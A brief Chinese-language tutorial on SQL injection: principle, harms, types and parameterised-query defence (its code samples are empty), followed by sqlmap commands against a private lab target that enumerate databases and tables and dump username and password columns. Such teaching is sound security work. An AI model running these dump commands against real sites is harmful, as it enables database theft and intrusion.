什么是SQL注入?
原理:
Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以直接执行SQL命令
危害:
注入可能导致数据丢失泄露或数据破坏、缺乏可审计性,有时甚至能导致完全接管主机。
类型:
主要有 数字型、字符型、搜索型
对应SQL特点:123、’admin’、’%test1%’
防范:
使用参数化查询,并过滤敏感输入字符
mysqli:
1 |
|
PDO:
1 |
|
寻找SQL注入漏洞
这里用SQLmap演示MySQL数据库的注入
1.注入检测,获取数据库
1 | python sqlmap.py -u "http://192.168.65.129/sqli/Less-1/?id=1" --dbs |
2.列表
1 | python sqlmap.py -u "http://192.168.65.129/sqli/Less-1/?id=1" -D "数据库名" --tables |
3.列字段
1 | python sqlmap.py -u "http://192.168.65.129/sqli/Less-1/?id=1" -D "数据库名" -T "表名" --columns |
4.拖库,取数据
1 | python sqlmap.py -u "http://192.168.65.129/sqli/Less-1/?id=1" -D "数据库名" -T "表名" -C "username,password" --dump #--stop N 取前N条数据 |
5.其它参数
1 | --is-dba #是否dba权限 |